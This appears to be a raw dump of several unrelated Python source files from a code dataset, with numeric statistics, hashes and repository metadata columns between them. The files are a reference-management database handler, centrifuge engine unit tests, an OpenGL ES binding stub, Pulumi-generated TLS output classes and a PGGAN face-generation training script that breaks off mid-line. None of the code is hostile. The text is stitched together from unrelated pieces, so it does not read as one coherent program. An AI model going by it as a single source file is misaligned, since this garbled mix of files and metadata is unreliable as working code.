Identificator of a bibliographic reference
mergeInto: Int [optional]
Identificator of the bibliographic reference which will be kept in the database in the case of merging references
Returns
-----------
cd_ref_modif: Int
Identifier of the modified bibliographic reference
cd_ref_del: Int
Identifier of the deleted bibliographic reference
"""
try:
res=dict()
if delRefArgs.get('mergeInto'):
res.update(mergeRefs(connection=connection,into_ref=delRefArgs.get('mergeInto'),from_ref=delRefArgs.get('cd_ref')))
res.update(deleteRef(connection,delRefArgs.get('cd_ref')))
except (UnauthorizedValueError,DeleteMissingElementDbError) as e:
return {'error':str(e)}
else:
connection.commit()
return(res)
def manageRefPut_err_hand(connection, **putRefArgs):
"""
Description
-----------
Modify the references
Parameters:
----------
connection: psycopg2 Connection
connection to the postgres database.
putRefArgs: dict
Dictionary with the following elements:
cd_ref: Int [required]
Identificator of a bibliographic reference
reference: Str [optional]
Bibliographic references for the taxonomic status of a taxon
link: List(Str) [optional]
Link, or link list for the resources associated with a bibliographic reference which justify the status of a taxon (if provided, it needs to have the same length as ref_citation)
Returns
-----------
cd_ref_modif: Int
Identifier of the modified bibliographic reference
cd_ref_del: Int
Identifier of the deleted bibliographic reference
"""
try:
res=modifyRef(connection, **putRefArgs)
except ModifyMissingRefDbError as e:
return {'error':str(e)}
else:
connection.commit()
return res
| 42.390012
| 602
| 0.688233
| 8,624
| 71,300
| 5.641002
| 0.057746
| 0.01628
| 0.016609
| 0.012889
| 0.829058
| 0.801081
| 0.775983
| 0.766794
| 0.757626
| 0.737523
| 0
| 0.003184
| 0.238036
| 71,300
| 1,681
| 603
| 42.415229
| 0.892266
| 0.002076
| 0
| 0.620763
| 0
| 0
| 0.093267
| 0.007052
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.010593
| 0.025424
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c5bcf65b688a7a1b1a0aa836940d080fa23c72a4
| 11,069
|
py
|
Python
|
test/test_engine.py
|
bmarika/centrifuge
|
17090344af1a84c88d852cc52a1be037bf0ad187
|
[
"MIT"
] | null | null | null |
test/test_engine.py
|
bmarika/centrifuge
|
17090344af1a84c88d852cc52a1be037bf0ad187
|
[
"MIT"
] | null | null | null |
test/test_engine.py
|
bmarika/centrifuge
|
17090344af1a84c88d852cc52a1be037bf0ad187
|
[
"MIT"
] | null | null | null |
# coding: utf-8
from unittest import main
import sys
import os
import json
import time
from tornado.gen import Task
from tornado.testing import AsyncTestCase, gen_test
from centrifuge.engine import BaseEngine
from centrifuge.engine.memory import Engine as MemoryEngine
from centrifuge.engine.redis import Engine as RedisEngine
from centrifuge.core import Application
class FakeClient(object):
uid = 'test_uid'
class Options(object):
redis_host = "localhost"
redis_port = 6379
redis_password = ""
redis_db = 0
redis_url = ""
class BaseEngineTest(AsyncTestCase):
def setUp(self):
super(BaseEngineTest, self).setUp()
self.application = Application(**{'options': Options})
self.engine = BaseEngine(self.application)
def test_get_subscription_key(self):
key = self.engine.get_subscription_key('project', 'channel')
self.assertEqual(key, "centrifuge|project|channel")
class MemoryEngineTest(AsyncTestCase):
def setUp(self):
super(MemoryEngineTest, self).setUp()
self.application = Application(**{'options': Options})
self.engine = MemoryEngine(self.application)
self.engine.initialize()
self.engine.history_size = 2
self.engine.presence_timeout = 1
self.project_id = "project_id"
self.channel = "channel"
self.uid_1 = 'uid-1'
self.uid_2 = 'uid-2'
self.user_id = 'user_id'
self.user_id_extra = 'user_id_extra'
self.user_info = "{}"
self.message_1 = json.dumps('test message 1')
self.message_2 = json.dumps('test message 2')
self.message_3 = json.dumps('test message 3')
@gen_test
def test_add_subscription(self):
yield self.engine.add_subscription(self.project_id, self.channel, FakeClient())
self.assertTrue(
self.engine.get_subscription_key(
self.project_id, self.channel
) in self.engine.subscriptions
)
@gen_test
def test_remove_subscription(self):
yield self.engine.remove_subscription(self.project_id, self.channel, FakeClient())
self.assertTrue(
self.engine.get_subscription_key(
self.project_id, self.channel
) not in self.engine.subscriptions
)
@gen_test
def test_presence(self):
result, error = yield self.engine.get_presence(
self.project_id, self.channel
)
self.assertEqual(result, {})
result, error = yield self.engine.add_presence(
self.project_id, self.channel, self.uid_1, self.user_info
)
self.assertEqual(result, True)
result, error = yield self.engine.get_presence(
self.project_id, self.channel
)
self.assertTrue(self.uid_1 in result)
result, error = yield self.engine.add_presence(
self.project_id, self.channel,
self.uid_1, self.user_info
)
self.assertEqual(result, True)
result, error = yield self.engine.get_presence(
self.project_id, self.channel
)
self.assertTrue(self.uid_1 in result)
self.assertEqual(len(result), 1)
result, error = yield self.engine.add_presence(
self.project_id, self.channel,
self.uid_2, self.user_info
)
self.assertEqual(result, True)
result, error = yield self.engine.get_presence(
self.project_id, self.channel
)
self.assertTrue(self.uid_1 in result)
self.assertTrue(self.uid_2 in result)
self.assertEqual(len(result), 2)
result, error = yield self.engine.remove_presence(
self.project_id, self.channel, self.uid_2
)
self.assertEqual(result, True)
result, error = yield self.engine.get_presence(
self.project_id, self.channel
)
self.assertTrue(self.uid_1 in result)
self.assertTrue(self.uid_2 not in result)
self.assertEqual(len(result), 1)
time.sleep(2)
result, error = yield self.engine.get_presence(
self.project_id, self.channel
)
self.assertEqual(result, {})
@gen_test
def test_history(self):
result, error = yield self.engine.add_history_message(
self.project_id, self.channel, self.message_1
)
self.assertEqual(error, None)
self.assertEqual(result, True)
result, error = yield self.engine.get_history(
self.project_id, self.channel
)
self.assertEqual(error, None)
self.assertEqual(len(result), 1)
result, error = yield self.engine.add_history_message(
self.project_id, self.channel, self.message_2
)
self.assertEqual(error, None)
self.assertEqual(result, True)
result, error = yield self.engine.get_history(
self.project_id, self.channel
)
self.assertEqual(error, None)
self.assertEqual(len(result), 2)
result, error = yield self.engine.add_history_message(
self.project_id, self.channel, self.message_3
)
self.assertEqual(error, None)
self.assertEqual(result, True)
result, error = yield self.engine.get_history(
self.project_id, self.channel
)
self.assertEqual(error, None)
self.assertEqual(len(result), 2)
@gen_test
def test_history_expire(self):
result, error = yield self.engine.add_history_message(
self.project_id, self.channel, self.message_1, history_expire=1
)
self.assertEqual(error, None)
self.assertEqual(result, True)
result, error = yield self.engine.get_history(
self.project_id, self.channel
)
self.assertEqual(error, None)
self.assertEqual(len(result), 1)
time.sleep(2)
result, error = yield self.engine.get_history(
self.project_id, self.channel
)
self.assertEqual(error, None)
self.assertEqual(len(result), 0)
class RedisEngineTest(AsyncTestCase):
""" Test the client """
def setUp(self):
super(RedisEngineTest, self).setUp()
self.application = Application(**{'options': Options})
self.engine = RedisEngine(self.application, io_loop=self.io_loop)
self.engine.initialize()
self.engine.history_size = 2
self.engine.presence_timeout = 1
self.project_id = "project_id"
self.channel = "channel"
self.uid_1 = 'uid-1'
self.uid_2 = 'uid-2'
self.user_id = 'user_id'
self.user_id_extra = 'user_id_extra'
self.user_info = "{}"
self.message_1 = json.dumps('test message 1')
self.message_2 = json.dumps('test message 2')
self.message_3 = json.dumps('test message 3')
@gen_test
def test_presence(self):
result = yield Task(self.engine.worker.flushdb)
self.assertEqual(result, b"OK")
result, error = yield self.engine.get_presence(
self.project_id, self.channel
)
self.assertEqual(result, {})
result, error = yield self.engine.add_presence(
self.project_id, self.channel,
self.uid_1, self.user_info
)
self.assertEqual(result, True)
result, error = yield self.engine.get_presence(
self.project_id, self.channel
)
self.assertTrue(self.uid_1 in result)
result, error = yield self.engine.add_presence(
self.project_id, self.channel,
self.uid_1, self.user_info
)
self.assertEqual(result, True)
result, error = yield self.engine.get_presence(
self.project_id, self.channel
)
self.assertTrue(self.uid_1 in result)
self.assertEqual(len(result), 1)
result, error = yield self.engine.add_presence(
self.project_id, self.channel,
self.uid_2, self.user_info
)
self.assertEqual(result, True)
result, error = yield self.engine.get_presence(
self.project_id, self.channel
)
self.assertTrue(self.uid_1 in result)
self.assertTrue(self.uid_2 in result)
self.assertEqual(len(result), 2)
result, error = yield self.engine.remove_presence(
self.project_id, self.channel, self.uid_2
)
self.assertEqual(result, True)
result, error = yield self.engine.get_presence(
self.project_id, self.channel
)
self.assertTrue(self.uid_1 in result)
self.assertTrue(self.uid_2 not in result)
self.assertEqual(len(result), 1)
time.sleep(2)
result, error = yield self.engine.get_presence(
self.project_id, self.channel
)
self.assertEqual(result, {})
@gen_test
def test_history(self):
result = yield Task(self.engine.worker.flushdb)
self.assertEqual(result, b"OK")
result, error = yield self.engine.add_history_message(
self.project_id, self.channel, self.message_1
)
self.assertEqual(error, None)
self.assertEqual(result, True)
result, error = yield self.engine.get_history(
self.project_id, self.channel
)
self.assertEqual(error, None)
self.assertEqual(len(result), 1)
result, error = yield self.engine.add_history_message(
self.project_id, self.channel, self.message_2
)
self.assertEqual(error, None)
self.assertEqual(result, True)
result, error = yield self.engine.get_history(
self.project_id, self.channel
)
self.assertEqual(error, None)
self.assertEqual(len(result), 2)
result, error = yield self.engine.add_history_message(
self.project_id, self.channel, self.message_3
)
self.assertEqual(error, None)
self.assertEqual(result, True)
result, error = yield self.engine.get_history(
self.project_id, self.channel
)
self.assertEqual(error, None)
self.assertEqual(len(result), 2)
@gen_test
def test_history_expire(self):
result = yield Task(self.engine.worker.flushdb)
self.assertEqual(result, b"OK")
result, error = yield self.engine.add_history_message(
self.project_id, self.channel, self.message_1, history_expire=1
)
self.assertEqual(error, None)
self.assertEqual(result, True)
result, error = yield self.engine.get_history(
self.project_id, self.channel
)
self.assertEqual(error, None)
self.assertEqual(len(result), 1)
time.sleep(2)
result, error = yield self.engine.get_history(
self.project_id, self.channel
)
self.assertEqual(error, None)
self.assertEqual(len(result), 0)
if __name__ == '__main__':
main()
| 30.832869
| 90
| 0.621646
| 1,312
| 11,069
| 5.089177
| 0.06936
| 0.130298
| 0.085667
| 0.131796
| 0.882582
| 0.860117
| 0.860117
| 0.857121
| 0.84544
| 0.818931
| 0
| 0.010028
| 0.279248
| 11,069
| 358
| 91
| 30.918994
| 0.826899
| 0.002801
| 0
| 0.722222
| 0
| 0
| 0.024839
| 0.002357
| 0
| 0
| 0
| 0
| 0.25
| 1
| 0.041667
| false
| 0.003472
| 0.038194
| 0
| 0.118056
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c5cf054357073c8ccde641f9e41255bc81dc82e9
| 221
|
py
|
Python
|
OpenGLCffi/GLES2/EXT/NV/copy_buffer.py
|
cydenix/OpenGLCffi
|
c78f51ae5e6b655eb2ea98f072771cf69e2197f3
|
[
"MIT"
] | null | null | null |
OpenGLCffi/GLES2/EXT/NV/copy_buffer.py
|
cydenix/OpenGLCffi
|
c78f51ae5e6b655eb2ea98f072771cf69e2197f3
|
[
"MIT"
] | null | null | null |
OpenGLCffi/GLES2/EXT/NV/copy_buffer.py
|
cydenix/OpenGLCffi
|
c78f51ae5e6b655eb2ea98f072771cf69e2197f3
|
[
"MIT"
] | null | null | null |
from OpenGLCffi.GLES2 import params
@params(api='gles2', prms=['readTarget', 'writeTarget', 'readOffset', 'writeOffset', 'size'])
def glCopyBufferSubDataNV(readTarget, writeTarget, readOffset, writeOffset, size):
pass
| 31.571429
| 93
| 0.764706
| 22
| 221
| 7.681818
| 0.681818
| 0.248521
| 0.366864
| 0.497041
| 0.544379
| 0
| 0
| 0
| 0
| 0
| 0
| 0.00995
| 0.090498
| 221
| 6
| 94
| 36.833333
| 0.830846
| 0
| 0
| 0
| 0
| 0
| 0.232877
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0.25
| 0.25
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
c5e2de28f1bebe0c4796282e0303220d51c7d9f0
| 115
|
py
|
Python
|
tests/test_codingjoes_new_package.py
|
codingjoe/codingjoes_new_package
|
56d7b5a01f1504ce1b5e3e2850cfc68d28d7d02a
|
[
"MIT"
] | null | null | null |
tests/test_codingjoes_new_package.py
|
codingjoe/codingjoes_new_package
|
56d7b5a01f1504ce1b5e3e2850cfc68d28d7d02a
|
[
"MIT"
] | null | null | null |
tests/test_codingjoes_new_package.py
|
codingjoe/codingjoes_new_package
|
56d7b5a01f1504ce1b5e3e2850cfc68d28d7d02a
|
[
"MIT"
] | null | null | null |
def test_codingjoes_new_package():
import codingjoes_new_package
assert True, help(codingjoes_new_package)
| 28.75
| 45
| 0.817391
| 15
| 115
| 5.8
| 0.6
| 0.448276
| 0.689655
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.130435
| 115
| 3
| 46
| 38.333333
| 0.87
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
c5e8491bcee92b93070219455e2a8bd2dd2647b1
| 159
|
py
|
Python
|
App/controllers/BaseController.py
|
PhenomingZ/dicer2
|
3d50d3854a087eecaf45a744ddfe2fa2e225951a
|
[
"MIT"
] | 1
|
2020-12-20T12:00:43.000Z
|
2020-12-20T12:00:43.000Z
|
App/controllers/BaseController.py
|
PhenomingZ/dicer2
|
3d50d3854a087eecaf45a744ddfe2fa2e225951a
|
[
"MIT"
] | null | null | null |
App/controllers/BaseController.py
|
PhenomingZ/dicer2
|
3d50d3854a087eecaf45a744ddfe2fa2e225951a
|
[
"MIT"
] | null | null | null |
from App.controllers.BaseDocumentController import BaseDocumentController
class BaseController(BaseDocumentController):
""" 继承了所有控制器的基本控制器类 """
pass
| 22.714286
| 73
| 0.805031
| 11
| 159
| 11.636364
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125786
| 159
| 6
| 74
| 26.5
| 0.920863
| 0.09434
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
6813408f388cdf380a4c081d1c35286a0d4d34d1
| 9,982
|
py
|
Python
|
sdk/python/pulumi_tls/outputs.py
|
pulumi/pulumi-tls
|
0f8f089e90fa8edfc6416a7605498f957a22c337
|
[
"ECL-2.0",
"Apache-2.0"
] | 4
|
2019-09-17T20:41:30.000Z
|
2020-09-07T16:17:43.000Z
|
sdk/python/pulumi_tls/outputs.py
|
pulumi/pulumi-tls
|
0f8f089e90fa8edfc6416a7605498f957a22c337
|
[
"ECL-2.0",
"Apache-2.0"
] | 37
|
2019-07-31T14:03:51.000Z
|
2022-03-31T15:49:43.000Z
|
sdk/python/pulumi_tls/outputs.py
|
pulumi/pulumi-tls
|
0f8f089e90fa8edfc6416a7605498f957a22c337
|
[
"ECL-2.0",
"Apache-2.0"
] | 2
|
2019-10-05T10:36:10.000Z
|
2019-10-31T10:59:33.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from . import _utilities
__all__ = [
'CertRequestSubject',
'SelfSignedCertSubject',
'GetCertificateCertificateResult',
]
@pulumi.output_type
class CertRequestSubject(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "commonName":
suggest = "common_name"
elif key == "organizationalUnit":
suggest = "organizational_unit"
elif key == "postalCode":
suggest = "postal_code"
elif key == "serialNumber":
suggest = "serial_number"
elif key == "streetAddresses":
suggest = "street_addresses"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in CertRequestSubject. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
CertRequestSubject.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
CertRequestSubject.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
common_name: Optional[str] = None,
country: Optional[str] = None,
locality: Optional[str] = None,
organization: Optional[str] = None,
organizational_unit: Optional[str] = None,
postal_code: Optional[str] = None,
province: Optional[str] = None,
serial_number: Optional[str] = None,
street_addresses: Optional[Sequence[str]] = None):
if common_name is not None:
pulumi.set(__self__, "common_name", common_name)
if country is not None:
pulumi.set(__self__, "country", country)
if locality is not None:
pulumi.set(__self__, "locality", locality)
if organization is not None:
pulumi.set(__self__, "organization", organization)
if organizational_unit is not None:
pulumi.set(__self__, "organizational_unit", organizational_unit)
if postal_code is not None:
pulumi.set(__self__, "postal_code", postal_code)
if province is not None:
pulumi.set(__self__, "province", province)
if serial_number is not None:
pulumi.set(__self__, "serial_number", serial_number)
if street_addresses is not None:
pulumi.set(__self__, "street_addresses", street_addresses)
@property
@pulumi.getter(name="commonName")
def common_name(self) -> Optional[str]:
return pulumi.get(self, "common_name")
@property
@pulumi.getter
def country(self) -> Optional[str]:
return pulumi.get(self, "country")
@property
@pulumi.getter
def locality(self) -> Optional[str]:
return pulumi.get(self, "locality")
@property
@pulumi.getter
def organization(self) -> Optional[str]:
return pulumi.get(self, "organization")
@property
@pulumi.getter(name="organizationalUnit")
def organizational_unit(self) -> Optional[str]:
return pulumi.get(self, "organizational_unit")
@property
@pulumi.getter(name="postalCode")
def postal_code(self) -> Optional[str]:
return pulumi.get(self, "postal_code")
@property
@pulumi.getter
def province(self) -> Optional[str]:
return pulumi.get(self, "province")
@property
@pulumi.getter(name="serialNumber")
def serial_number(self) -> Optional[str]:
return pulumi.get(self, "serial_number")
@property
@pulumi.getter(name="streetAddresses")
def street_addresses(self) -> Optional[Sequence[str]]:
return pulumi.get(self, "street_addresses")
@pulumi.output_type
class SelfSignedCertSubject(dict):
@staticmethod
def __key_warning(key: str):
suggest = None
if key == "commonName":
suggest = "common_name"
elif key == "organizationalUnit":
suggest = "organizational_unit"
elif key == "postalCode":
suggest = "postal_code"
elif key == "serialNumber":
suggest = "serial_number"
elif key == "streetAddresses":
suggest = "street_addresses"
if suggest:
pulumi.log.warn(f"Key '{key}' not found in SelfSignedCertSubject. Access the value via the '{suggest}' property getter instead.")
def __getitem__(self, key: str) -> Any:
SelfSignedCertSubject.__key_warning(key)
return super().__getitem__(key)
def get(self, key: str, default = None) -> Any:
SelfSignedCertSubject.__key_warning(key)
return super().get(key, default)
def __init__(__self__, *,
common_name: Optional[str] = None,
country: Optional[str] = None,
locality: Optional[str] = None,
organization: Optional[str] = None,
organizational_unit: Optional[str] = None,
postal_code: Optional[str] = None,
province: Optional[str] = None,
serial_number: Optional[str] = None,
street_addresses: Optional[Sequence[str]] = None):
if common_name is not None:
pulumi.set(__self__, "common_name", common_name)
if country is not None:
pulumi.set(__self__, "country", country)
if locality is not None:
pulumi.set(__self__, "locality", locality)
if organization is not None:
pulumi.set(__self__, "organization", organization)
if organizational_unit is not None:
pulumi.set(__self__, "organizational_unit", organizational_unit)
if postal_code is not None:
pulumi.set(__self__, "postal_code", postal_code)
if province is not None:
pulumi.set(__self__, "province", province)
if serial_number is not None:
pulumi.set(__self__, "serial_number", serial_number)
if street_addresses is not None:
pulumi.set(__self__, "street_addresses", street_addresses)
@property
@pulumi.getter(name="commonName")
def common_name(self) -> Optional[str]:
return pulumi.get(self, "common_name")
@property
@pulumi.getter
def country(self) -> Optional[str]:
return pulumi.get(self, "country")
@property
@pulumi.getter
def locality(self) -> Optional[str]:
return pulumi.get(self, "locality")
@property
@pulumi.getter
def organization(self) -> Optional[str]:
return pulumi.get(self, "organization")
@property
@pulumi.getter(name="organizationalUnit")
def organizational_unit(self) -> Optional[str]:
return pulumi.get(self, "organizational_unit")
@property
@pulumi.getter(name="postalCode")
def postal_code(self) -> Optional[str]:
return pulumi.get(self, "postal_code")
@property
@pulumi.getter
def province(self) -> Optional[str]:
return pulumi.get(self, "province")
@property
@pulumi.getter(name="serialNumber")
def serial_number(self) -> Optional[str]:
return pulumi.get(self, "serial_number")
@property
@pulumi.getter(name="streetAddresses")
def street_addresses(self) -> Optional[Sequence[str]]:
return pulumi.get(self, "street_addresses")
@pulumi.output_type
class GetCertificateCertificateResult(dict):
def __init__(__self__, *,
is_ca: bool,
issuer: str,
not_after: str,
not_before: str,
public_key_algorithm: str,
serial_number: str,
sha1_fingerprint: str,
signature_algorithm: str,
subject: str,
version: int):
pulumi.set(__self__, "is_ca", is_ca)
pulumi.set(__self__, "issuer", issuer)
pulumi.set(__self__, "not_after", not_after)
pulumi.set(__self__, "not_before", not_before)
pulumi.set(__self__, "public_key_algorithm", public_key_algorithm)
pulumi.set(__self__, "serial_number", serial_number)
pulumi.set(__self__, "sha1_fingerprint", sha1_fingerprint)
pulumi.set(__self__, "signature_algorithm", signature_algorithm)
pulumi.set(__self__, "subject", subject)
pulumi.set(__self__, "version", version)
@property
@pulumi.getter(name="isCa")
def is_ca(self) -> bool:
return pulumi.get(self, "is_ca")
@property
@pulumi.getter
def issuer(self) -> str:
return pulumi.get(self, "issuer")
@property
@pulumi.getter(name="notAfter")
def not_after(self) -> str:
return pulumi.get(self, "not_after")
@property
@pulumi.getter(name="notBefore")
def not_before(self) -> str:
return pulumi.get(self, "not_before")
@property
@pulumi.getter(name="publicKeyAlgorithm")
def public_key_algorithm(self) -> str:
return pulumi.get(self, "public_key_algorithm")
@property
@pulumi.getter(name="serialNumber")
def serial_number(self) -> str:
return pulumi.get(self, "serial_number")
@property
@pulumi.getter(name="sha1Fingerprint")
def sha1_fingerprint(self) -> str:
return pulumi.get(self, "sha1_fingerprint")
@property
@pulumi.getter(name="signatureAlgorithm")
def signature_algorithm(self) -> str:
return pulumi.get(self, "signature_algorithm")
@property
@pulumi.getter
def subject(self) -> str:
return pulumi.get(self, "subject")
@property
@pulumi.getter
def version(self) -> int:
return pulumi.get(self, "version")
| 33.722973
| 141
| 0.622921
| 1,074
| 9,982
| 5.521415
| 0.105214
| 0.059359
| 0.061383
| 0.089713
| 0.765261
| 0.765261
| 0.752108
| 0.71113
| 0.71113
| 0.701855
| 0
| 0.000955
| 0.265979
| 9,982
| 295
| 142
| 33.837288
| 0.80838
| 0.017732
| 0
| 0.761134
| 1
| 0.008097
| 0.144198
| 0.007552
| 0
| 0
| 0
| 0
| 0
| 1
| 0.149798
| false
| 0
| 0.020243
| 0.11336
| 0.311741
| 0.020243
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 8
|
a877b3ad8cc0e16d576b95c9a06d91205c3c94ae
| 13,741
|
py
|
Python
|
PGGAN/train_128.py
|
MingtaoGuo/DCGAN_WGAN_WGAN-GP_LSGAN_SNGAN_TensorFlow
|
d244aeb8dabb9729d1789ff41ce28fdb5bb201c5
|
[
"MIT"
] | 149
|
2019-03-26T11:20:10.000Z
|
2022-03-28T15:23:06.000Z
|
PGGAN/train_128.py
|
MingtaoGuo/DCGAN_WGAN_WGAN-GP_LSGAN_SNGAN_TensorFlow
|
d244aeb8dabb9729d1789ff41ce28fdb5bb201c5
|
[
"MIT"
] | 2
|
2019-07-22T08:30:11.000Z
|
2019-08-06T12:01:23.000Z
|
PGGAN/train_128.py
|
MingtaoGuo/DCGAN_WGAN_WGAN-GP_LSGAN_SNGAN_TensorFlow
|
d244aeb8dabb9729d1789ff41ce28fdb5bb201c5
|
[
"MIT"
] | 39
|
2019-03-31T13:59:59.000Z
|
2022-02-28T02:50:58.000Z
|
from networks import generator, discriminator
import tensorflow as tf
from utils import read_face_data, get_batch
from ops import LSGAN_LOSS
from PIL import Image
import numpy as np
BATCH_SIZE = 32
MAX_ITR = 5000
LEARNING_RATE = 2e-4
G_DIM = [512, 512, 256, 128, 64, 32, 16]
D_DIM = [16, 32, 64, 128, 256, 512, 512]
data = read_face_data("../DATASET/face_128.mat")
def train():
G = generator("generator")
D = discriminator("discriminator")
inputs = tf.placeholder(tf.float32, [None, 128, 128, 3])
z = tf.placeholder(tf.float32, [None, 512])
alpha = tf.placeholder(tf.float32, [1, 1, 1, 1])
optimizer_D = tf.train.AdamOptimizer(LEARNING_RATE, beta1=0., beta2=0.99)
optimizer_G = tf.train.AdamOptimizer(LEARNING_RATE, beta1=0., beta2=0.99)
fake_4 = G(z, alpha, G_DIM, 0)
fake_4_logits = D(fake_4, alpha, D_DIM, 0)
real_4_logits = D(tf.image.resize_images(inputs, [4, 4]), alpha, D_DIM, 0)
D_loss_4, G_loss_4 = LSGAN_LOSS(real_4_logits, fake_4_logits)
D_Opt_4 = optimizer_D.minimize(D_loss_4, var_list=D.var_list())
G_Opt_4 = optimizer_G.minimize(G_loss_4, var_list=G.var_list())
fake_8 = G(z, alpha, G_DIM, 1)
fake_8_logits = D(fake_8, alpha, D_DIM, 1)
real_8_logits = D(tf.image.resize_images(inputs, [8, 8]), alpha, D_DIM, 1)
D_loss_8, G_loss_8 = LSGAN_LOSS(real_8_logits, fake_8_logits)
D_Opt_8 = optimizer_D.minimize(D_loss_8, var_list=D.var_list())
G_Opt_8 = optimizer_G.minimize(G_loss_8, var_list=G.var_list())
fake_16 = G(z, alpha, G_DIM, 2)
fake_16_logits = D(fake_16, alpha, D_DIM, 2)
real_16_logits = D(tf.image.resize_images(inputs, [16, 16]), alpha, D_DIM, 2)
D_loss_16, G_loss_16 = LSGAN_LOSS(real_16_logits, fake_16_logits)
D_Opt_16 = optimizer_D.minimize(D_loss_16, var_list=D.var_list())
G_Opt_16 = optimizer_G.minimize(G_loss_16, var_list=G.var_list())
fake_32 = G(z, alpha, G_DIM, 3)
fake_32_logits = D(fake_32, alpha, D_DIM, 3)
real_32_logits = D(tf.image.resize_images(inputs, [32, 32]), alpha, D_DIM, 3)
D_loss_32, G_loss_32 = LSGAN_LOSS(real_32_logits, fake_32_logits)
D_Opt_32 = optimizer_D.minimize(D_loss_32, var_list=D.var_list())
G_Opt_32 = optimizer_G.minimize(G_loss_32, var_list=G.var_list())
fake_64 = G(z, alpha, G_DIM, 4)
fake_64_logits = D(fake_64, alpha, D_DIM, 4)
real_64_logits = D(tf.image.resize_images(inputs, [64, 64]), alpha, D_DIM, 4)
D_loss_64, G_loss_64 = LSGAN_LOSS(real_64_logits, fake_64_logits)
D_Opt_64 = optimizer_D.minimize(D_loss_64, var_list=D.var_list())
G_Opt_64 = optimizer_G.minimize(G_loss_64, var_list=G.var_list())
fake_128 = G(z, alpha, G_DIM, 5)
fake_128_logits = D(fake_128, alpha, D_DIM, 5)
real_128_logits = D(tf.image.resize_images(inputs, [128, 128]), alpha, D_DIM, 5)
D_loss_128, G_loss_128 = LSGAN_LOSS(real_128_logits, fake_128_logits)
D_Opt_128 = optimizer_D.minimize(D_loss_128, var_list=D.var_list())
G_Opt_128 = optimizer_G.minimize(G_loss_128, var_list=G.var_list())
sess = tf.Session()
sess.run(tf.global_variables_initializer())
saver = tf.train.Saver()
# -----------------------------------------------------phase 4X4------------------------------------------------------------------------------------
for i in range(MAX_ITR):
batch, Z = get_batch(data, BATCH_SIZE)
ALPHA = np.reshape(i / MAX_ITR, [1, 1, 1, 1])
sess.run(D_Opt_4, feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
batch, Z = get_batch(data, BATCH_SIZE)
sess.run(G_Opt_4, feed_dict={z: Z, alpha: ALPHA})
if i % 100 == 0:
[D_LOSS, G_LOSS, FAKE_IMGS] = sess.run([D_loss_4, G_loss_4, fake_4],
feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
Image.fromarray(np.uint8((FAKE_IMGS[0, :, :, :] + 1) * 127.5)).save(
"./results/" + "phase_4x4_" + str(i) + ".jpg")
print("phase 4x4, iteration: %d, D_loss: %f, G_loss: %f" % (i, D_LOSS, G_LOSS))
for i in range(MAX_ITR):
batch, Z = get_batch(data, BATCH_SIZE)
ALPHA = np.reshape(1.0, [1, 1, 1, 1])
sess.run(D_Opt_4, feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
batch, Z = get_batch(data, BATCH_SIZE)
sess.run(G_Opt_4, feed_dict={z: Z, alpha: ALPHA})
if i % 100 == 0:
[D_LOSS, G_LOSS, FAKE_IMGS] = sess.run([D_loss_4, G_loss_4, fake_4],
feed_dict={z: Z, inputs: batch / 127.5 - 1, alpha: ALPHA})
Image.fromarray(np.uint8((FAKE_IMGS[0, :, :, :] + 1) * 127.5)).save(
